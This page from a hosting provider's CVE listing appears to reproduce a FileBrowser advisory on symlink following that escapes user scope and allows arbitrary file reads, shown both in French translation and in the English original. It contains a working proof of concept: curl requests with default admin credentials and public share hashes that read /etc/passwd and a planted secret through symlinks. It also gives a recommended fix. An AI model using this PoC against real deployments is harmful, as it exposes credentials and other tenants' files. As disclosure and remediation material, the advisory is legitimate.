Joan eduki nagusira
WebguneWebgunebeta
Tarifak
Toutes les failles

ÉlevéeCVE-2026-1166822026(e)ko urriaren 27(a)

FileBrowser : le suivi des liens symboliques échappe à la portée de l'utilisateur permettant la lecture de fichiers arbitraires en dehors du répertoire desservi

Conséquences sérieuses, souvent sous quelques conditions : à corriger rapidement.

Sévérité
Élevée8.6 / 10
Publiée le
2026(e)ko urriaren 27(a)
Mise à jour
2026(e)ko urriaren 27(a)

L'avis

Traduction automatique de l'avis officiel. En cas de doute, l'avis d'origine, plus bas, fait foi.

Résumé

Les chemins de lecture de fichiers résolvent les liens symboliques avec filepath.EvalSymlinks puis opèrent sur la cible résolue sans vérifier à nouveau que cette cible se trouve encore dans la source/portée de l'utilisateur.

Un lien symbolique situé dans un répertoire accessible à l'utilisateur qui pointe en dehors de la portée (par exemple vers /etc/passwd, le répertoire d'un autre locataire, des clés SSH ou des secrets de conteneur) est suivi de manière transparente, et son contenu est served à travers les points de terminaison normaux de download, preview, media et OnlyOffice. Tout utilisateur authentifié avec un accès en lecture peut lire des fichiers partout où le processus serveur peut, dès qu'un tel lien symbolique est accessible dans sa portée.

Le même chemin de lecture suivant les liens symboliques est utilisé par les points de terminaison de partage public, qui sont autorisés seulement par un hash de partage et non par un compte, de sorte qu'un attaquant non authentifié détenant seulement le lien de partage peut lire des fichiers en dehors de la portée sans identifiant.

Détails

1. La résolution des liens symboliques effectue aucune vérification de contenant (indexing/iteminfo/utils.go:110-119)

func ResolveSymlinks(path string) (string, bool, error) {
    resolvedPath, err := filepath.EvalSymlinks(path)   // suit le lien vers sa cible réelle
    if err != nil {
        return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
    }
    info, err := os.Lstat(resolvedPath)
    // ...
    return resolvedPath, IsDirectory(info), nil         // retourné sans validation de portée
}

Il n'y a pas de comparaison de resolvedPath avec la racine de l'index/portée.

2. GetRealPath retourne la cible résolue sans vérification (indexing/indexingFiles.go:991-1008)

absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath)   // échappe à la portée ici
// ...
return realPath, isDir, err

realPath est ensuite utilisé par les gestionnaires de fichiers pour ouvrir et servir le file. Aucun appelant ne re-valide que realPath est un descendant de la racine source de l'utilisateur. (En revanche, le projet a ajouté une containment pour l'extraction d'archives via symlinkTargetStaysUnderDest, mais cette garde est spécifique à l'extraction et n'est pas appliquée à ce chemin de lecture général.)

3. Les gestionnaires de lecture demandent le suivi des liens symboliques, y compris les gestionnaires de partage public non authentifiés (http/resource.go:96,503, http/media.go:124, http/onlyOffice.go:133, http/public.go:279,441,494)

FollowSymlinks: true,

Les flux de lecture authentifiés (download, preview, media-subtitle, et OnlyOffice) définissent tous FollowSymlinks: true, et il en est de même pour les gestionnaires de partage public dans http/public.go. La route de download public est enregistrée comme publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler)) (http/httpRouter.go:130), où withHashFile autorise par le hash de seul partage sans compte, donc la même évasion est accessible sans authentification quand un partage public expose un répertoire contenant le lien symbolique.

PoC

Confirmé en direct sur gtstef/filebrowser:1.3.3-stable. Un lien symbolique pointant en dehors du répertoire de l'utilisateur doit exister à l'intérieur ; ici il est placé sur le volume hôte, ce qui se produit chaque fois qu'un répertoire monté contient des liens symboliques.

1. Démarrer un conteneur propre et semer un fichier en dehors de l'arbre de l'utilisateur.

docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090

2. Placer des liens symboliques à l'intérieur de l'arbre de service qui pointent en dehors. Un pointe vers un fichier hôte (/etc/passwd), un vers le fichier en dehors de l'arbre de l'utilisateur.

docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
Vecteur 1 : utilisateur authentifié (n'importe quel compte avec accès en lecture)

3. Se connecter en tant qu'admin par défaut (le token est passé en paramètre de requête auth).

ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')

4. Télécharger à travers les liens symboliques et lire des fichiers en dehors de la portée.

curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"

Sortie observée :

[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret
Vecteur 2 : non authentifié, via un partage public (aucun compte)

5. Le propriétaire crée un partage public du répertoire (une utilisation normale de la fonctionnalité de partage). C'est la seule étape qui nécessite un compte.

SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
  -H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")

6. Avec seulement le hash de partage public et sans identifiant, télécharger à travers le lien symbolique.

curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"

Sortie observée :

[passwd_link] root:x:0:0:root:/root:/bin/sh   (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret

Les deux vecteurs suivent chaque lien symbolique vers sa cible et retournent le contenu en dehors du répertoire desservi. Le vecteur 1 fonctionne pour tout utilisateur non admin confiné à /user1. Le vecteur 2 n'a besoin d'aucun compte, seulement le lien de partage public, c'est pourquoi le score CVSS utilise PR:N.

La suite de l'avis n'est pas traduite : elle figure dans l'avis d'origine, plus bas.

Composants touchés

ComposantVersions touchéesCorrigé en
github.com/gtsteffaniak/filebrowser/backendGo< 0.0.0-20260814233832-4126edeb07a00.0.0-20260814233832-4126edeb07a0

Vous utilisez une version touchée ? Passez à la version corrigée, puis redéployez.

FileBrowser: Symlink following escapes user scope allowing arbitrary file read outside the served directory

Summary

File read paths resolve symbolic links with filepath.EvalSymlinks and then operate on the resolved target without re-checking that the target still lies inside the user's source/scope.

A symlink located inside a user's accessible directory that points outside the scope (for example to /etc/passwd, another tenant's directory, SSH keys, or container secrets) is followed transparently, and its contents are served through the normal download, preview, media, and OnlyOffice endpoints. Any authenticated user with download access can read files anywhere the server process can, whenever such a symlink is reachable in their scope.

The same symlink-following read path is used by the public share endpoints, which are authorized only by a share hash and not by any account, so when a public share exposes a directory that contains such a symlink, an unauthenticated attacker holding only the share link reads files outside the scope with no credential.

Details

1. Symlink resolution performs no containment check (indexing/iteminfo/utils.go:110-119)

func ResolveSymlinks(path string) (string, bool, error) {
    resolvedPath, err := filepath.EvalSymlinks(path)   // follows the link to its real target
    if err != nil {
        return path, false, fmt.Errorf("could not resolve symlinks for %s: %v", path, err)
    }
    info, err := os.Lstat(resolvedPath)
    // ...
    return resolvedPath, IsDirectory(info), nil         // returned with no scope validation
}

There is no comparison of resolvedPath against the index/scope root.

2. GetRealPath returns the resolved target unchecked (indexing/indexingFiles.go:991-1008)

absolutePath, err := filepath.Abs(joinedPath)
// ...
realPath, isDir, err := iteminfo.ResolveSymlinks(absolutePath)   // escapes scope here
// ...
return realPath, isDir, err

realPath is then used by file handlers to open and serve the file. No caller re-validates that realPath is a descendant of the user's source root. (By contrast, the project did add containment for archive extraction via symlinkTargetStaysUnderDest, but that guard is specific to extraction and is not applied to this general read path.)

3. The read handlers request symlink following, including the unauthenticated public-share handlers (http/resource.go:96,503, http/media.go:124, http/onlyOffice.go:133, http/public.go:279,441,494)

FollowSymlinks: true,

Authenticated download, preview, media-subtitle, and OnlyOffice read flows all set FollowSymlinks: true, and so do the public share handlers in http/public.go. The public download route is registered as publicApi.HandleFunc("GET /resources/download", withHashFile(publicDownloadHandler)) (http/httpRouter.go:130), where withHashFile authorizes by the share hash alone with no account, so the same escape is reachable with no authentication when a public share exposes a directory containing the symlink.

PoC

Confirmed live on gtstef/filebrowser:1.3.3-stable. A symlink pointing outside the user's directory must exist inside it; here it is placed on the host volume, which is what happens whenever a bind-mounted directory contains symlinks.

1. Start a fresh container and seed a file outside the user's intended subtree.

docker rm -f fb-q-lab 2>/dev/null; rm -rf /tmp/fb-q-lab; mkdir -p /tmp/fb-q-lab/srv/user1
echo "ROOT_DB_PASSWORD=supersecret" > /tmp/fb-q-lab/srv/secret-outside.txt
docker run -d --name fb-q-lab -p 8090:80 -v /tmp/fb-q-lab/srv:/srv gtstef/filebrowser:1.3.3-stable && sleep 8
TARGET_URL=http://localhost:8090

2. Place symlinks inside the served tree that point outside it. One points at a host file (/etc/passwd), one at the file outside the user's subtree.

docker exec fb-q-lab sh -c 'ln -sf /etc/passwd /srv/user1/passwd_link; ln -sf /srv/secret-outside.txt /srv/user1/secret_link'
Vector 1: authenticated user (any account with download access)

3. Log in as the default admin (the token is passed as the auth query parameter).

ADMIN_TOKEN=$(curl -s -X POST "$TARGET_URL/api/auth/login?username=admin" -H "X-Password: admin" | tr -d '"')

4. Download through the symlinks and read files from outside the scope.

curl -s "$TARGET_URL/api/resources/download?file=/user1/passwd_link&source=srv&auth=$ADMIN_TOKEN" | head -1
curl -s "$TARGET_URL/api/resources/download?file=/user1/secret_link&source=srv&auth=$ADMIN_TOKEN"

Observed output:

[passwd_link] root:x:0:0:root:/root:/bin/sh
[secret_link] ROOT_DB_PASSWORD=supersecret
Vector 2: unauthenticated, via a public share (no account)

5. The owner creates a public share of the directory (a normal use of the share feature). This is the only step that needs an account.

SHARE_HASH=$(curl -s -X POST "$TARGET_URL/api/share?auth=$ADMIN_TOKEN" \
  -H 'Content-Type: application/json' -d '{"path":"/user1","source":"srv"}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['hash'])")

6. With only the public share hash and no credential, download through the symlink.

curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/passwd_link" | head -1
curl -s "$TARGET_URL/public/api/resources/download?hash=$SHARE_HASH&file=/secret_link"

Observed output:

[passwd_link] root:x:0:0:root:/root:/bin/sh   (HTTP 200)
[secret_link] ROOT_DB_PASSWORD=supersecret

Both vectors follow each symlink to its target and return content from outside the served directory. Vector 1 works for any scoped non-admin user confined to /user1. Vector 2 needs no account at all, only the public share link, which is why the CVSS score uses PR:N.

Impact

  • Arbitrary file read outside scope: any authenticated user with download access can read any file the server process can access (host configuration, secrets, SSH keys, /etc/passwd, container service-account tokens, other tenants' files).
  • Unauthenticated read via public shares: because the public share download path follows symlinks and is authorized only by the share hash, an attacker with no account reads the same out-of-scope files using only a public share link to a directory that contains such a symlink. This is the PR:N worst case driving the score.
  • Cross-tenant data exposure: in multi-user deployments, one user reads other users' scoped files through a symlink.
  • Broad sink coverage: the same gap affects authenticated download, preview, media/subtitle, and OnlyOffice read flows and the public share handlers, all of which follow symlinks.
  • Precondition: a symlink pointing outside the scope must be reachable in the served directory (for the unauthenticated vector, inside a publicly shared directory). This is common where host directories are bind-mounted (the typical Docker deployment) or where scopes overlap shared storage.

Recommended Fix

After resolving symlinks, verify the resolved real path is still contained within the user's source root, and reject otherwise:

// indexing/indexingFiles.go, GetRealPath, after ResolveSymlinks:
rootReal, _ := filepath.EvalSymlinks(idx.Path)
rel, err := filepath.Rel(rootReal, realPath)
if err != nil || rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
    return "", false, fmt.Errorf("resolved path escapes source scope")
}

Apply the same containment check (or reuse the existing symlinkTargetStaysUnderDest logic) on every read path that sets FollowSymlinks: true. As a deployment-hardening option, add a setting to refuse to follow symlinks that leave the source root entirely.

Catégorie : Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22), Improper Link Resolution Before File Access ('Link Following') (CWE-59)

Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

  • github.comhttps://github.com/gtsteffaniak/filebrowser/security/advisories/GHSA-mgqf-5mf5-prfj
  • nvd.nist.govhttps://nvd.nist.gov/vuln/detail/CVE-2026-116682
  • github.comhttps://github.com/gtsteffaniak/filebrowser/pull/2795
  • github.comhttps://github.com/gtsteffaniak/filebrowser/pull/2800
  • github.comhttps://github.com/gtsteffaniak/filebrowser/commit/3c8c02414eefd3351ffe437fa39ff6eb150ffa67
  • github.comhttps://github.com/gtsteffaniak/filebrowser/commit/4126edeb07a015c3809a89249b283e07a4e50c38
  • github.comhttps://github.com/gtsteffaniak/filebrowser/releases/tag/v1.5.2-stable
  • github.comhttps://github.com/gtsteffaniak/filebrowser/releases/tag/v2.0.1-beta
  • github.comhttps://github.com/advisories/GHSA-mgqf-5mf5-prfj
WebguneWebgune

Hodei burujabe osoa, Frantzian diseinatua eta ostatatua.

DiscordDiscordGitHubGitHub
+33 (0)9 72 23 25 00support@webgune.cloud

Produktua

  • Ezaugarriak
  • Tarifak
  • Konparaketa
  • Changelog
  • Egoera
  • Ahuleziak (CVE)
  • Harremanetarako

Garatzaileak

  • Dokumentazioa
  • Frameworkak
  • API erreferentzia
  • Adibideak
  • CLI
  • Tresnak & VS Code

Legala

  • Erabilera baldintzak
  • Pribatutasun politika
  • Ohar legalak
  • Irisgarritasuna
  • RGPD
  • DPA
  • Erabilera onargarriaren politika

© 2026 KX712. Eskubide guztiak erreserbatuta. Webgune KX712-ren zerbitzu bat da.

Ordainketak:VisaMasterCardAmerican ExpressApple PayGoogle PaySEPABancontact